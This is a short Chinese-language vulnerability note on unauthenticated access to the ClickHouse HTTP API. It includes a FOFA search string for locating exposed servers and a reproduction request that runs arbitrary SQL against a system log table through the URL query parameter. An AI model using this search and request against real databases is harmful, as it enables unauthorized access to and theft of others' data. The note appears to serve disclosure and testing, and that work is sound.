# ClickHouse API 数据库接口未授权访问漏洞

## 漏洞描述

ClickHouse API 数据库接口存在未授权访问漏洞，攻击者通过漏洞可以执行任意SQL命令获取数据库数据

## 漏洞影响

```
ClickHouse
```

## FOFA

```
"ClickHouse" && body="ok"
```

## 漏洞复现

登录页面

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258079.png)

执行SQL语句

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258245.png)

```php
/?query=SELECT%20*%20FROM%20system.query_thread_log%20LIMIT%201%20FORMAT%20Vertical
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258274.png)